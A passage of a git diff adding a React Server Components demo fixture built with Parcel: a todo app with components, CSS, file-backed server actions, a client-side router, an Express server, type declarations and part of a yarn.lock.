+      <button onClick={() => deleteTodo(todo.id)}>x</button>
+    </li>
+  );
+}
diff --git a/fixtures/flight-parcel/src/TodoList.tsx b/fixtures/flight-parcel/src/TodoList.tsx
new file mode 100644
index 000000000000..d84b52aaf732
--- /dev/null
+++ b/fixtures/flight-parcel/src/TodoList.tsx
@@ -0,0 +1,13 @@
+import {TodoItem} from './TodoItem';
+import {getTodos} from './actions';
+
+export async function TodoList({id}: {id: number | undefined}) {
+  let todos = await getTodos();
+  return (
+    <ul className="todo-list">
+      {todos.map(todo => (
+        <TodoItem key={todo.id} todo={todo} isSelected={todo.id === id} />
+      ))}
+    </ul>
+  );
+}
diff --git a/fixtures/flight-parcel/src/Todos.css b/fixtures/flight-parcel/src/Todos.css
new file mode 100644
index 000000000000..4c7de7b12b5e
--- /dev/null
+++ b/fixtures/flight-parcel/src/Todos.css
@@ -0,0 +1,63 @@
+body {
+  font-family: system-ui;
+  color-scheme: light dark;
+}
+
+form {
+  display: grid;
+  grid-template-columns: auto 1fr;
+  flex-direction: column;
+  max-width: 400px;
+  gap: 8px;
+}
+
+label {
+  display: contents;
+}
+
+main {
+  display: flex;
+  gap: 32px;
+}
+
+.todo-column {
+  width: 250px;
+}
+
+header {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  max-width: 250px;
+  padding: 8px;
+  padding-right: 40px;
+  box-sizing: border-box;
+}
+
+.todo-list {
+  max-width: 250px;
+  padding: 0;
+  list-style: none;
+  padding-right: 32px;
+  border-right: 1px solid gray;
+
+  li {
+    display: flex;
+    gap: 8px;
+    padding: 8px;
+    border-radius: 8px;
+    accent-color: light-dark(black, white);
+
+    a {
+      color: inherit;
+      text-decoration: none;
+      width: 100%;
+    }
+
+    &[data-selected] {
+      background-color: light-dark(#222, #ddd);
+      color: light-dark(#ddd, #222);
+      accent-color: light-dark(white, black);
+    }
+  }
+}
diff --git a/fixtures/flight-parcel/src/Todos.tsx b/fixtures/flight-parcel/src/Todos.tsx
new file mode 100644
index 000000000000..ea606907300e
--- /dev/null
+++ b/fixtures/flight-parcel/src/Todos.tsx
@@ -0,0 +1,33 @@
+'use server-entry';
+
+import './client';
+import './Todos.css';
+import {Dialog} from './Dialog';
+import {TodoDetail} from './TodoDetail';
+import {TodoCreate} from './TodoCreate';
+import {TodoList} from './TodoList';
+
+export async function Todos({id}: {id?: number}) {
+  return (
+    <html style={{colorScheme: 'dark light'}}>
+      <head>
+        <title>Todos</title>
+      </head>
+      <body>
+        <header>
+          <h1>Todos</h1>
+          <Dialog trigger="+">
+            <h2>Add todo</h2>
+            <TodoCreate />
+          </Dialog>
+        </header>
+        <main>
+          <div className="todo-column">
+            <TodoList id={id} />
+          </div>
+          {id != null ? <TodoDetail key={id} id={id} /> : <p>Select a todo</p>}
+        </main>
+      </body>
+    </html>
+  );
+}
diff --git a/fixtures/flight-parcel/src/actions.ts b/fixtures/flight-parcel/src/actions.ts
new file mode 100644
index 000000000000..0d06b11b5b1f
--- /dev/null
+++ b/fixtures/flight-parcel/src/actions.ts
@@ -0,0 +1,75 @@
+'use server';
+
+import fs from 'fs/promises';
+
+export interface Todo {
+  id: number;
+  title: string;
+  description: string;
+  dueDate: string;
+  isComplete: boolean;
+}
+
+export async function getTodos(): Promise<Todo[]> {
+  try {
+    let contents = await fs.readFile('todos.json', 'utf8');
+    return JSON.parse(contents);
+  } catch {
+    await fs.writeFile('todos.json', '[]');
+    return [];
+  }
+}
+
+export async function getTodo(id: number): Promise<Todo | undefined> {
+  let todos = await getTodos();
+  return todos.find(todo => todo.id === id);
+}
+
+export async function createTodo(formData: FormData) {
+  let todos = await getTodos();
+  let title = formData.get('title');
+  let description = formData.get('description');
+  let dueDate = formData.get('dueDate');
+  let id = todos.length > 0 ? Math.max(...todos.map(todo => todo.id)) + 1 : 0;
+  todos.push({
+    id,
+    title: typeof title === 'string' ? title : '',
+    description: typeof description === 'string' ? description : '',
+    dueDate: typeof dueDate === 'string' ? dueDate : new Date().toISOString(),
+    isComplete: false,
+  });
+  await fs.writeFile('todos.json', JSON.stringify(todos));
+}
+
+export async function updateTodo(id: number, formData: FormData) {
+  let todos = await getTodos();
+  let title = formData.get('title');
+  let description = formData.get('description');
+  let dueDate = formData.get('dueDate');
+  let todo = todos.find(todo => todo.id === id);
+  if (todo) {
+    todo.title = typeof title === 'string' ? title : '';
+    todo.description = typeof description === 'string' ? description : '';
+    todo.dueDate =
+      typeof dueDate === 'string' ? dueDate : new Date().toISOString();
+    await fs.writeFile('todos.json', JSON.stringify(todos));
+  }
+}
+
+export async function setTodoComplete(id: number, isComplete: boolean) {
+  let todos = await getTodos();
+  let todo = todos.find(todo => todo.id === id);
+  if (todo) {
+    todo.isComplete = isComplete;
+    await fs.writeFile('todos.json', JSON.stringify(todos));
+  }
+}
+
+export async function deleteTodo(id: number) {
+  let todos = await getTodos();
+  let index = todos.findIndex(todo => todo.id === id);
+  if (index >= 0) {
+    todos.splice(index, 1);
+    await fs.writeFile('todos.json', JSON.stringify(todos));
+  }
+}
diff --git a/fixtures/flight-parcel/src/client.tsx b/fixtures/flight-parcel/src/client.tsx
new file mode 100644
index 000000000000..8000c8f8e986
--- /dev/null
+++ b/fixtures/flight-parcel/src/client.tsx
@@ -0,0 +1,113 @@
+'use client-entry';
+
+import {
+  useState,
+  use,
+  startTransition,
+  useInsertionEffect,
+  ReactElement,
+} from 'react';
+import ReactDOM from 'react-dom/client';
+import {
+  createFromReadableStream,
+  createFromFetch,
+  encodeReply,
+  setServerCallback,
+} from 'react-server-dom-parcel/client';
+import {rscStream} from 'rsc-html-stream/client';
+
+// Stream in initial RSC payload embedded in the HTML.
+let initialRSCPayload = createFromReadableStream<ReactElement>(rscStream);
+let updateRoot:
+  | ((root: ReactElement, cb?: (() => void) | null) => void)
+  | null = null;
+
+function Content() {
+  // Store the current root element in state, along with a callback
+  // to call once rendering is complete.
+  let [[root, cb], setRoot] = useState<[ReactElement, (() => void) | null]>([
+    use(initialRSCPayload),
+    null,
+  ]);
+  updateRoot = (root, cb) => setRoot([root, cb ?? null]);
+  useInsertionEffect(() => cb?.());
+  return root;
+}
+
+// Hydrate initial page content.
+startTransition(() => {
+  ReactDOM.hydrateRoot(document, <Content />);
+});
+
+// A very simple router. When we navigate, we'll fetch a new RSC payload from the server,
+// and in a React transition, stream in the new page. Once complete, we'll pushState to
+// update the URL in the browser.
+async function navigate(pathname: string, push = false) {
+  let res = fetch(pathname, {
+    headers: {
+      Accept: 'text/x-component',
+    },
+  });
+  let root = await createFromFetch<ReactElement>(res);
+  startTransition(() => {
+    updateRoot!(root, () => {
+      if (push) {
+        history.pushState(null, '', pathname);
+        push = false;
+      }
+    });
+  });
+}
+
+// Intercept link clicks to perform RSC navigation.
+document.addEventListener('click', e => {
+  let link = (e.target as Element).closest('a');
+  if (
+    link &&
+    link instanceof HTMLAnchorElement &&
+    link.href &&
+    (!link.target || link.target === '_self') &&
+    link.origin === location.origin &&
+    !link.hasAttribute('download') &&
+    e.button === 0 && // left clicks only
+    !e.metaKey && // open in new tab (mac)
+    !e.ctrlKey && // open in new tab (windows)
+    !e.altKey && // download
+    !e.shiftKey &&
+    !e.defaultPrevented
+  ) {
+    e.preventDefault();
+    navigate(link.pathname, true);
+  }
+});
+
+// When the user clicks the back button, navigate with RSC.
+window.addEventListener('popstate', e => {
+  navigate(location.pathname);
+});
+
+// Intercept HMR window reloads, and do it with RSC instead.
+window.addEventListener('parcelhmrreload', e => {
+  e.preventDefault();
+  navigate(location.pathname);
+});
+
+// Setup a callback to perform server actions.
+// This sends a POST request to the server, and updates the page with the response.
+setServerCallback(async function (id: string, args: any[]) {
+  console.log('Handling server action', id, args);
+  const response = fetch(location.pathname, {
+    method: 'POST',
+    headers: {
+      Accept: 'text/x-component',
+      'rsc-action-id': id,
+    },
+    body: await encodeReply(args),
+  });
+  const {result, root} = await createFromFetch<{
+    root: JSX.Element;
+    result: any;
+  }>(response);
+  startTransition(() => updateRoot!(root));
+  return result;
+});
diff --git a/fixtures/flight-parcel/src/server.tsx b/fixtures/flight-parcel/src/server.tsx
new file mode 100644
index 000000000000..d9a81a0ef94b
--- /dev/null
+++ b/fixtures/flight-parcel/src/server.tsx
@@ -0,0 +1,140 @@
+// Server dependencies.
+import express, {
+  type Request as ExpressRequest,
+  type Response as ExpressResponse,
+} from 'express';
+import {Readable} from 'node:stream';
+import type {ReadableStream as NodeReadableStream} from 'stream/web';
+import {
+  renderToReadableStream,
+  loadServerAction,
+  decodeReply,
+  decodeAction,
+} from 'react-server-dom-parcel/server.edge';
+import {injectRSCPayload} from 'rsc-html-stream/server';
+
+// Client dependencies, used for SSR.
+// These must run in the same environment as client components (e.g. same instance of React).
+import {createFromReadableStream} from 'react-server-dom-parcel/client.edge' with {env: 'react-client'};
+import {renderToReadableStream as renderHTMLToReadableStream} from 'react-dom/server.edge' with {env: 'react-client'};
+import ReactClient, {ReactElement} from 'react' with {env: 'react-client'};
+
+// Page components. These must have "use server-entry" so they are treated as code splitting entry points.
+import {Todos} from './Todos';
+
+const app = express();
+
+app.use(function (req, res, next) {
+  res.setHeader('Access-Control-Allow-Methods', 'GET,HEAD,POST');
+  res.setHeader('Access-Control-Allow-Origin', '*');
+  res.setHeader('Access-Control-Allow-Headers', 'rsc-action');
+  next();
+});
+
+app.use(express.static('dist'));
+
+app.get('/', async (req, res) => {
+  await render(req, res, <Todos />);
+});
+
+app.post('/', async (req, res) => {
+  await handleAction(req, res, <Todos />);
+});
+
+app.get('/todos/:id', async (req, res) => {
+  await render(req, res, <Todos id={Number(req.params.id)} />);
+});
+
+app.post('/todos/:id', async (req, res) => {
+  await handleAction(req, res, <Todos id={Number(req.params.id)} />);
+});
+
+async function render(
+  req: ExpressRequest,
+  res: ExpressResponse,
+  component: ReactElement,
+  actionResult?: any,
+) {
+  // Render RSC payload.
+  let root: any = component;
+  if (actionResult) {
+    root = {result: actionResult, root};
+  }
+  let stream = renderToReadableStream(root);
+  if (req.accepts('text/html')) {
+    res.setHeader('Content-Type', 'text/html');
+
+    // Use client react to render the RSC payload to HTML.
+    let [s1, s2] = stream.tee();
+    let data: Promise<ReactElement>;
+    function Content() {
+      data ??= createFromReadableStream<ReactElement>(s1);
+      return ReactClient.use(data);
+    }
+
+    let htmlStream = await renderHTMLToReadableStream(<Content />, {
+      bootstrapScriptContent: (Todos as any).bootstrapScript,
+    });
+    let response = htmlStream.pipeThrough(injectRSCPayload(s2));
+    Readable.fromWeb(response as NodeReadableStream).pipe(res);
+  } else {
+    res.set('Content-Type', 'text/x-component');
+    Readable.fromWeb(stream as NodeReadableStream).pipe(res);
+  }
+}
+
+// Handle server actions.
+async function handleAction(
+  req: ExpressRequest,
+  res: ExpressResponse,
+  component: ReactElement,
+) {
+  let id = req.get('rsc-action-id');
+  let request = new Request('http://localhost' + req.url, {
+    method: 'POST',
+    headers: req.headers as any,
+    body: Readable.toWeb(req) as ReadableStream,
+    // @ts-ignore
+    duplex: 'half',
+  });
+
+  if (id) {
+    let action = await loadServerAction(id);
+    let body = req.is('multipart/form-data')
+      ? await request.formData()
+      : await request.text();
+    let args = await decodeReply<any[]>(body);
+    let result = action.apply(null, args);
+    try {
+      // Wait for any mutations
+      await result;
+    } catch (x) {
+      // We handle the error on the client
+    }
+
+    await render(req, res, component, result);
+  } else {
+    // Form submitted by browser (progressive enhancement).
+    let formData = await request.formData();
+    let action = await decodeAction(formData);
+    try {
+      // Wait for any mutations
+      await action();
+    } catch (err) {
+      // TODO render error page?
+    }
+    await render(req, res, component);
+  }
+}
+
+let server = app.listen(3001);
+console.log('Server listening on port 3001');
+
+// Restart the server when it changes.
+if (module.hot) {
+  module.hot.dispose(() => {
+    server.close();
+  });
+
+  module.hot.accept();
+}
diff --git a/fixtures/flight-parcel/tsconfig.json b/fixtures/flight-parcel/tsconfig.json
new file mode 100644
index 000000000000..a81941c15701
--- /dev/null
+++ b/fixtures/flight-parcel/tsconfig.json
@@ -0,0 +1,12 @@
+{
+  "compilerOptions": {
+    "strict": true,
+    "jsx": "react-jsx",
+    "allowSyntheticDefaultImports": true,
+    "moduleResolution": "node",
+    "module": "esnext",
+    "isolatedModules": true,
+    "esModuleInterop": true,
+    "target": "es2022"
+  }
+}
diff --git a/fixtures/flight-parcel/types.d.ts b/fixtures/flight-parcel/types.d.ts
new file mode 100644
index 000000000000..ab7748dc8cb0
--- /dev/null
+++ b/fixtures/flight-parcel/types.d.ts
@@ -0,0 +1,29 @@
+// TODO: move these into their respective packages.
+
+declare module 'react-server-dom-parcel/client' {
+  export function createFromFetch<T>(res: Promise<Response>): Promise<T>;
+  export function encodeReply(value: any): Promise<string | URLSearchParams | FormData>;
+
+  type CallServerCallback = <T>(id: string, args: any[]) => Promise<T>;
+  export function setServerCallback(cb: CallServerCallback): void;
+}
+
+declare module 'react-server-dom-parcel/client.edge' {
+  export function createFromReadableStream<T>(stream: ReadableStream): Promise<T>;
+}
+
+declare module 'react-server-dom-parcel/server.edge' {
+  export function renderToReadableStream(value: any): ReadableStream;
+  export function loadServerAction(id: string): Promise<(...args: any[]) => any>;
+  export function decodeReply<T>(body: string | FormData): Promise<T>;
+  export function decodeAction(body: FormData): Promise<(...args: any[]) => any>;
+}
+
+declare module '@parcel/runtime-rsc' {
+  import {JSX} from 'react';
+  export function Resources(): JSX.Element;
+}
+
+declare module 'react-dom/server.edge' {
+  export * from 'react-dom/server';
+}
diff --git a/fixtures/flight-parcel/yarn.lock b/fixtures/flight-parcel/yarn.lock
new file mode 100644
index 000000000000..4b72e06b91bc
--- /dev/null
+++ b/fixtures/flight-parcel/yarn.lock
@@ -0,0 +1,2353 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@babel/code-frame@^7.0.0":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
+"@babel/runtime@^7.21.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.26.0.tgz#8600c2f595f277c60815256418b85356a65173c1"
+  integrity sha512-FDSOghenHTiToteC/QRlv2q3DhPZ/oOXTBoirfWNx1Cx3TMVcGWQtMMmQcSvb/JjpNeGzx8Pq/b4fKEJuWm1sw==
+  dependencies:
+    regenerator-runtime "^0.14.0"
+
+"@lezer/common@^1.0.0":
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/@lezer/common/-/common-1.2.3.tgz#138fcddab157d83da557554851017c6c1e5667fd"
+  integrity sha512-w7ojc8ejBqr2REPsWxJjrMFsA/ysDCFICn8zEOR9mrqzOu2amhITYuLD8ag6XZf0CFXDrhKqw7+tW8cX66NaDA==
+
+"@lezer/lr@^1.0.0":
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/@lezer/lr/-/lr-1.4.2.tgz#931ea3dea8e9de84e90781001dae30dea9ff1727"
+  integrity sha512-pu0K1jCIdnQ12aWNaAVU5bzi7Bd1w54J3ECgANPmYLtQKP0HBj2cE/5coBD66MT10xbtIuUr7tg0Shbsvk0mDA==
+  dependencies:
+    "@lezer/common" "^1.0.0"
+
+"@lmdb/lmdb-darwin-arm64@2.8.5":
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/@lmdb/lmdb-darwin-arm64/-/lmdb-darwin-arm64-2.8.5.tgz#895d8cb16a9d709ce5fedd8b60022903b875e08e"
+  integrity sha512-KPDeVScZgA1oq0CiPBcOa3kHIqU+pTOwRFDIhxvmf8CTNvqdZQYp5cCKW0bUk69VygB2PuTiINFWbY78aR2pQw==
+
+"@lmdb/lmdb-darwin-x64@2.8.5":
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/@lmdb/lmdb-darwin-x64/-/lmdb-darwin-x64-2.8.5.tgz#ca243534c8b37d5516c557e4624256d18dd63184"
+  integrity sha512-w/sLhN4T7MW1nB3R/U8WK5BgQLz904wh+/SmA2jD8NnF7BLLoUgflCNxOeSPOWp8geP6nP/+VjWzZVip7rZ1ug==
+
+"@lmdb/lmdb-linux-arm64@2.8.5":
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/@lmdb/lmdb-linux-arm64/-/lmdb-linux-arm64-2.8.5.tgz#b44a8023057e21512eefb9f6120096843b531c1e"
+  integrity sha512-vtbZRHH5UDlL01TT5jB576Zox3+hdyogvpcbvVJlmU5PdL3c5V7cj1EODdh1CHPksRl+cws/58ugEHi8bcj4Ww==
+
+"@lmdb/lmdb-linux-arm@2.8.5":
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/@lmdb/lmdb-linux-arm/-/lmdb-linux-arm-2.8.5.tgz#17bd54740779c3e4324e78e8f747c21416a84b3d"
+  integrity sha512-c0TGMbm2M55pwTDIfkDLB6BpIsgxV4PjYck2HiOX+cy/JWiBXz32lYbarPqejKs9Flm7YVAKSILUducU9g2RVg==
+
+"@lmdb/lmdb-linux-x64@2.8.5":
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/@lmdb/lmdb-linux-x64/-/lmdb-linux-x64-2.8.5.tgz#6c61835b6cc58efdf79dbd5e8c72a38300a90302"
+  integrity sha512-Xkc8IUx9aEhP0zvgeKy7IQ3ReX2N8N1L0WPcQwnZweWmOuKfwpS3GRIYqLtK5za/w3E60zhFfNdS+3pBZPytqQ==
+
+"@lmdb/lmdb-win32-x64@2.8.5":
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/@lmdb/lmdb-win32-x64/-/lmdb-win32-x64-2.8.5.tgz#8233e8762440b0f4632c47a09b1b6f23de8b934c"
+  integrity sha512-4wvrf5BgnR8RpogHhtpCPJMKBmvyZPhhUtEwMJbXh0ni2BucpfF07jlmyM11zRqQ2XIq6PbC2j7W7UCCcm1rRQ==
+
+"@mischnic/json-sourcemap@^0.1.0":
+  version "0.1.1"
+  resolved "https://registry.yarnpkg.com/@mischnic/json-sourcemap/-/json-sourcemap-0.1.1.tgz#0ef9b015a8f575dd9a8720d9a6b4dbc988425906"
+  integrity sha512-iA7+tyVqfrATAIsIRWQG+a7ZLLD0VaOCKV2Wd/v4mqIU3J9c4jx9p7S0nw1XH3gJCKNBOOwACOPYYSUu9pgT+w==
+  dependencies:
+    "@lezer/common" "^1.0.0"
+    "@lezer/lr" "^1.0.0"
+    json5 "^2.2.1"
+
+"@msgpackr-extract/msgpackr-extract-darwin-arm64@3.0.3":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@msgpackr-extract/msgpackr-extract-darwin-arm64/-/msgpackr-extract-darwin-arm64-3.0.3.tgz#9edec61b22c3082018a79f6d1c30289ddf3d9d11"
+  integrity sha512-QZHtlVgbAdy2zAqNA9Gu1UpIuI8Xvsd1v8ic6B2pZmeFnFcMWiPLfWXh7TVw4eGEZ/C9TH281KwhVoeQUKbyjw==
+
+"@msgpackr-extract/msgpackr-extract-darwin-x64@3.0.3":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@msgpackr-extract/msgpackr-extract-darwin-x64/-/msgpackr-extract-darwin-x64-3.0.3.tgz#33677a275204898ad8acbf62734fc4dc0b6a4855"
+  integrity sha512-mdzd3AVzYKuUmiWOQ8GNhl64/IoFGol569zNRdkLReh6LRLHOXxU4U8eq0JwaD8iFHdVGqSy4IjFL4reoWCDFw==
+
+"@msgpackr-extract/msgpackr-extract-linux-arm64@3.0.3":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@msgpackr-extract/msgpackr-extract-linux-arm64/-/msgpackr-extract-linux-arm64-3.0.3.tgz#19edf7cdc2e7063ee328403c1d895a86dd28f4bb"
+  integrity sha512-YxQL+ax0XqBJDZiKimS2XQaf+2wDGVa1enVRGzEvLLVFeqa5kx2bWbtcSXgsxjQB7nRqqIGFIcLteF/sHeVtQg==
+
+"@msgpackr-extract/msgpackr-extract-linux-arm@3.0.3":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@msgpackr-extract/msgpackr-extract-linux-arm/-/msgpackr-extract-linux-arm-3.0.3.tgz#94fb0543ba2e28766c3fc439cabbe0440ae70159"
+  integrity sha512-fg0uy/dG/nZEXfYilKoRe7yALaNmHoYeIoJuJ7KJ+YyU2bvY8vPv27f7UKhGRpY6euFYqEVhxCFZgAUNQBM3nw==
+
+"@msgpackr-extract/msgpackr-extract-linux-x64@3.0.3":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@msgpackr-extract/msgpackr-extract-linux-x64/-/msgpackr-extract-linux-x64-3.0.3.tgz#4a0609ab5fe44d07c9c60a11e4484d3c38bbd6e3"
+  integrity sha512-cvwNfbP07pKUfq1uH+S6KJ7dT9K8WOE4ZiAcsrSes+UY55E/0jLYc+vq+DO7jlmqRb5zAggExKm0H7O/CBaesg==
+
+"@msgpackr-extract/msgpackr-extract-win32-x64@3.0.3":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@msgpackr-extract/msgpackr-extract-win32-x64/-/msgpackr-extract-win32-x64-3.0.3.tgz#0aa5502d547b57abfc4ac492de68e2006e417242"
+  integrity sha512-x0fWaQtYp4E6sktbsdAqnehxDgEc/VwM7uLsRCYWaiGu0ykYdZPiS8zCWdnjHwyiumousxfBm4SO31eXqwEZhQ==
+
+"@parcel/bundler-default@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/bundler-default/-/bundler-default-2.0.0-canary.1778.tgz#8a1d52191d035935547ed290c4ba4fc30cb8d8b2"
+  integrity sha512-eLiqvCl19fEa7V4qQShb2zn5N5X1cmpjXsd9WxYXA6WBLoO4Jj3Ju+GS8XH9/dUT0J0h5MZMazNUPqW/AAnFMw==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/graph" "3.3.4-canary.3401+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/cache@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/cache/-/cache-2.0.0-canary.1778.tgz#527ade7385f66ced271c73562925281e8975683e"
+  integrity sha512-WyGF9q0so0evb60joAdk9wqtKsrrb5zNqtMH2Es+g0B+HjuhfcyiuXUHL+O8zGZWHwzvdfij/s3bGj4sMjFZrg==
+  dependencies:
+    "@parcel/fs" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/logger" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    lmdb "2.8.5"
+
+"@parcel/codeframe@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/codeframe/-/codeframe-2.0.0-canary.1778.tgz#216f2b5b1c84f8e3e06a27825cb80066fb5cc624"
+  integrity sha512-X6Y82nZJDBt/3rhwQ/8KDxzXHlMJ22T8R5DMAMLxg8aYNUUCV2GIcfiYDqp6fednUsZcRZ+VDsA2vDRLuHBKyw==
+  dependencies:
+    chalk "^4.1.2"
+
+"@parcel/compressor-raw@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/compressor-raw/-/compressor-raw-2.13.4-canary.3401.tgz#322dae1c6feafd00d79d46cfde91b9753927e8ad"
+  integrity sha512-LYM92++ZfrFq08IaObm2KPZW3F3JxOd6WFEC8PdGisLNdDclnPGaX7Jg37KK9BKhmPWnysjqhtcf2evG8Xv8gg==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/config-default@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/config-default/-/config-default-2.0.0-canary.1778.tgz#860c6193c59cca237114c3499f727bf8e4139af5"
+  integrity sha512-BuRhy0Nhz45rQswOkc8EccUeYa9ZnL/ZYX4pdXULMbjhJzPMvs4OAg5NHy7uPvDWl0E7vt9kdDKDwUesLXTYUg==
+  dependencies:
+    "@parcel/bundler-default" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/compressor-raw" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/namer-default" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/optimizer-css" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/optimizer-htmlnano" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/optimizer-image" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/optimizer-svgo" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/optimizer-swc" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/packager-css" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/packager-html" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/packager-js" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/packager-raw" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/packager-svg" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/packager-wasm" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/reporter-dev-server" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/resolver-default" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/runtime-browser-hmr" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/runtime-js" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/runtime-rsc" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/runtime-service-worker" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/transformer-babel" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-css" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-html" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-image" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/transformer-js" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-json" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-node" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/transformer-postcss" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-posthtml" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-raw" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-react-refresh-wrap" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/transformer-svg" "2.13.4-canary.3401+b50bc79cb"
+
+"@parcel/core@2.0.0-canary.1776+b50bc79cb":
+  version "2.0.0-canary.1776"
+  resolved "https://registry.yarnpkg.com/@parcel/core/-/core-2.0.0-canary.1776.tgz#52887c2cc077222aeb490551713c267e2d2c7a41"
+  integrity sha512-4r2NbDDI9uEi76lxtgTZF+KsC4epk2mxtRi/HX3hWy5vSh1hYYAp6O5sc0+uqc3aOg6LYDgSrRGJ01cp4Q4a5A==
+  dependencies:
+    "@mischnic/json-sourcemap" "^0.1.0"
+    "@parcel/cache" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/events" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/feature-flags" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/fs" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/graph" "3.3.4-canary.3401+b50bc79cb"
+    "@parcel/logger" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/package-manager" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/profiler" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+    base-x "^3.0.8"
+    browserslist "^4.6.6"
+    clone "^2.1.1"
+    dotenv "^16.4.5"
+    dotenv-expand "^11.0.6"
+    json5 "^2.2.0"
+    msgpackr "^1.9.9"
+    nullthrows "^1.1.1"
+    semver "^7.5.2"
+
+"@parcel/diagnostic@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/diagnostic/-/diagnostic-2.0.0-canary.1778.tgz#618e33303887b5f733200f89e07700f50b9df89b"
+  integrity sha512-/WeyPZEF4OCGU2g/H2XSXe7cEnzBZVAqAodJjAcHEUiFlepXD6rockx15IyYb/+o8fr5WBdgLSzHiu5X0EU5Ug==
+  dependencies:
+    "@mischnic/json-sourcemap" "^0.1.0"
+    nullthrows "^1.1.1"
+
